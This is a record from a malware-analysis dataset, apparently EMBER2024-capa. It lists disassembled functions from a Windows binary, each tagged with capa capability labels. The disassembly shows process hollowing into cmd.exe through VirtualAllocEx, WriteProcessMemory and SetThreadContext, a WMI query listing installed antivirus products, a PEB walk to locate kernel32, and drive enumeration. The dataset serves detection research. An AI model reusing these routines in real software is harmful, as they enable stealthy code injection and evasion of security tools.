joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407731
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00407ccd
add esp, 0x10
test eax, eax
jne 0x407751
xor eax, eax
inc eax
jmp 0x4077e7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4077e4
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4077e4
push dword [ebp + 8]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call fcn.00407ccd
add esp, 0x10
test eax, eax
je 0x407749
cmp dword [edi], 0x4550
jne 0x4077e4
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4077e4
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4077e4
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.004121ff
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4077b9
push 3
jmp 0x4077e6
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00407ccd
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4077e7
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40fca4
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40fd6a
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423930
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4355b5
push str.C:WindowsSystem32cmd.exe
call dword [0x6e8e90]
test eax, eax
je 0x40fd68
push edi
push 0x1000
push edi
push ebx
call dword [0x6e8f4c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40fd68
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40fd6f
push dword [ebp - 0x20]
call dword [0x6e9000]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40fdc9
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40fd92
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x6e9000]
mov eax, dword [ebp - 0x1c]
jmp 0x40fd6a
Function at 0x411e8e
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42ef1a
call fcn.0042ee29
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x431e40
push 1
push edi
push 0x431f10
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411ff8
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x435e0c
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411ff1
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x411feb
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x411feb
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.00411dde
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x6e8ff0]
push eax
call dword [0x6e8f80]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x6e8e00]
add esp, 0x20
push edi
call fcn.00410b6e
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x412016
or dword [ebp - 4], 0xffffffff
jmp 0x41200c
push 0x435e88
jmp 0x412011
push 0x435e90
jmp 0x412011
push 0x435e98
call fcn.00410b6e
mov eax, esi
call fcn.0042ee85
ret
Function at 0x41201e
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42eeff
call fcn.0042edbd
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x431e40
push 1
push edi
push 0x431f10
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x412127
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x435f0c
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x412120
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x41211a
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x41211a
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.004123c9
pop ecx
push eax
call fcn.00410b6e
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x412145
or dword [ebp - 4], 0xffffffff
jmp 0x41213b
push 0x435f2c
jmp 0x412140
push 0x435f34
jmp 0x412140
push str.Unknown
call fcn.00410b6e
mov eax, esi
call fcn.0042ee62
ret

Function at 0x412bc8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x4357a7
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x4357aa
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x413074
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x4355ae
call fcn.00410b6e
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00410ba0
call fcn.00405229
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x4131dd
push 0x4355af
lea esi, [ebp - 0xc]
call fcn.00410b6e
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.004122d1
push 0x4356e4
push dword [0x6e8bd0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410c90
lea esi, [ebp - 0x30]
call fcn.00410c90
lea esi, [ebp - 0x48]
call fcn.00410c4e
lea esi, [ebp - 0x3c]
call fcn.00410c90
lea esi, [ebp - 0xc]
call fcn.00410c14
mov eax, dword [ebp - 0x3c]
call fcn.00402910
mov eax, dword [ebp - 0x48]
call fcn.00402910
mov eax, dword [ebp - 0x30]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
mov eax, dword [ebp - 0x18]
call fcn.00402910
push 0x1c00
push 0x43cca0
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00410ba0
call fcn.00412acd
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00423930
add esp, 0xc
push 0x4356f0
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410c90
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.00410c4e
lea esi, [ebp - 0xc]
call fcn.00410c14
mov eax, dword [ebp - 0x18]
call fcn.00402910
mov eax, dword [ebp - 0x24]
call fcn.00402910
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402910
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cce
mov eax, dword [ebp + 8]
call fcn.00402910
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.0040fca4
pop ecx
test eax, eax
jne 0x4131c3
inc edi
cmp edi, 0x64
jl 0x4131df
xor edi, edi
jmp 0x4131c6
Function at 0x4155bb
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43c078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x435a10
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x6e8f1c]
xor esi, esi
inc esi
test eax, eax
je 0x415607
mov dword [ebp - 0x460], esi
push ebx
push 0x435a20
push dword [ebp + 0x80]
call dword [0x6e8f1c]
test eax, eax
je 0x415629
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x415751
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x4157c1
jmp 0x415651
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00423930
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x415695
cmp eax, 2
jne 0x415695
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x4156ae
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
call fcn.00412795
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x6e9038]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401ced
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43561f
push dword [ebp - 0x468]
call fcn.00415141
add esp, 0x94
push esi
call dword [0x6e8ea4]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x41564f
jmp 0x4157bf
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401ced
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43562d
push dword [ebp - 0x46c]
call fcn.00415141
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cce
lea ecx, [ebp + 0x74]
call fcn.004157e8
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cd30
leave
ret
Function at 0x417310
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.004173e9
test byte [0x6e8dd0], 1
mov eax, dword [ebp + 0x40]
je 0x41732f
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.00410c14
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.00410c14
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.00410c14
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.00410c14
mov esi, 0x3e8
jmp 0x41737d
push esi
call dword [0x6e8e18]
cmp dword [0x6e8dd0], 2
jae 0x417376
inc dword [0x6e8dd0]
cmp dword [0x6e8dcc], edi
je 0x4173a2
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041c9d5
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x41723f
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x4356f2
call fcn.00410b6e
lea esi, [ebp - 0x48]
call fcn.00417410
lea esi, [ebp + 0x1c]
call fcn.00401cce
mov eax, dword [ebp + 0xc]
call fcn.00402910
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4182a3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41a2f7
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41a325
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00423930
mov eax, ebx
movzx ecx, word [eax*8 + 0x435152]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x435150]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x435154]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x435156]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41a388
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41a394
cmp ebx, 8
jl 0x41a394
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41a3f9
cmp eax, 0xffffffff
je 0x41a3f9
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41a3d4
call fcn.0041a54f
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41a3dc
jmp 0x41a409
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41a660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41a85e
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41a6da
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41a71d
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41a71d
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41a704
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
mov edx, esi
call fcn.0041a40e
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
cmp ebx, eax
jbe 0x41a71d
mov ebx, eax
cmp ebx, 3
jb 0x41a7de
mov edx, dword [esi + 0x6af84]
sub edx, dword [esi + 0x6af88]
lea ecx, [ebx - 3]
mov eax, esi
call fcn.00419d95
sub dword [esi + 0x6af90], ebx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41a7ab
cmp eax, 3
jb 0x41a7ab
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41a759
jmp 0x41a7fe
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41a804
mov eax, dword [esi + 0x6af84]
movzx ecx, byte [eax + esi + 0x1af70]
xor edx, edx
mov eax, esi
call fcn.00419d95
dec dword [esi + 0x6af90]
mov dword [ebp - 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp - 8], 0
je 0x41a83f
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41a81d
lea edx, [ecx + esi + 0x1af70]
jmp 0x41a81f
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 0
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419c18
mov eax, dword [esi + 0x6af84]
pop ecx
pop ecx
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41a850
call fcn.0041a54f
cmp dword [esi + 0x6af90], 0
jne 0x41a68a
pop edi
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41a871
lea edx, [ecx + esi + 0x1af70]
jmp 0x41a873
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 1
sub eax, ecx
push edx
mov ecx, esi
call fcn.00419c18
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x41b41b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x41b426
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41b4da
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x4351a0]
add ecx, 8
sub edi, 8
dec esi
jne 0x41b43d
pop ebx
test edi, edi
je 0x41b4f3
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x4351a0]
inc ecx
dec edi
jne 0x41b4de
pop esi
not eax
pop edi
ret

Function at 0x41b4f8
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x4351a0]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x4351a0]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x41ba89
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
je 0x41bb0f
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x41bac3
cmp dword [esi + 0x40], ebx
jae 0x41bac3
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp - 4]
mov ecx, 4
xor eax, eax
rep stosb byte es:[edi], al
and dword [esi + 0x3c], 0
xor edi, edi
cmp dword [esi + 0x3c], edi
jne 0x41badb
lea eax, [ebx + ebx]
push eax
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], ebx
push ebx
push dword [ebp + 8]
push dword [esi + 0x3c]
call fcn.00426d70
add esp, 0xc
test ebx, ebx
je 0x41bb0c
mov eax, dword [esi + 0x3c]
movzx eax, byte [edi + eax]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.0041b556
pop ecx
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [edi + ecx], al
inc edi
cmp edi, ebx
jb 0x41baee
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x41bb3e
mov eax, dword [esi + 0x24]
lea edi, [eax + ebx]
cmp edi, dword [esi + 0x28]
jb 0x41bb2a
mov dword [esi + 0x14], 0x30000
jmp 0x41bb60
push ebx
push edx
add eax, ecx
push eax
call fcn.00426d70
add esp, 0xc
add dword [esi + 0x24], ebx
mov eax, ebx
jmp 0x41bb62
mov eax, dword [esi + 4]
test eax, eax
je 0x41bb59
push 0
lea ecx, [ebp + 8]
push ecx
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x41bb62
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x41bf75
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x84]
push edi
test ecx, ecx
je 0x41bfc6
mov eax, dword [esi + 0x8c]
mov edi, dword [esi + 0x88]
cmp eax, edi
jae 0x41bfee
sub edi, eax
cmp edi, dword [ebp + 8]
jbe 0x41bf9d
mov edi, dword [ebp + 8]
push edi
add eax, ecx
push eax
push ebx
call fcn.00426d70
add esp, 0xc
add dword [esi + 0x8c], edi
mov eax, dword [esi + 0x78]
add dword [esi + 0x74], edi
mov edx, edi
mov ecx, ebx
call fcn.0041b41b
mov dword [esi + 0x78], eax
mov eax, edi
jmp 0x41bff0
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x41bfe7
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41bfee
mov edi, dword [ebp + 8]
jmp 0x41bfb0
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop ebp
ret 4

Function at 0x41cd30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c078]
jne 0x41cd3a
repz ret
jmp fcn.0041d0ad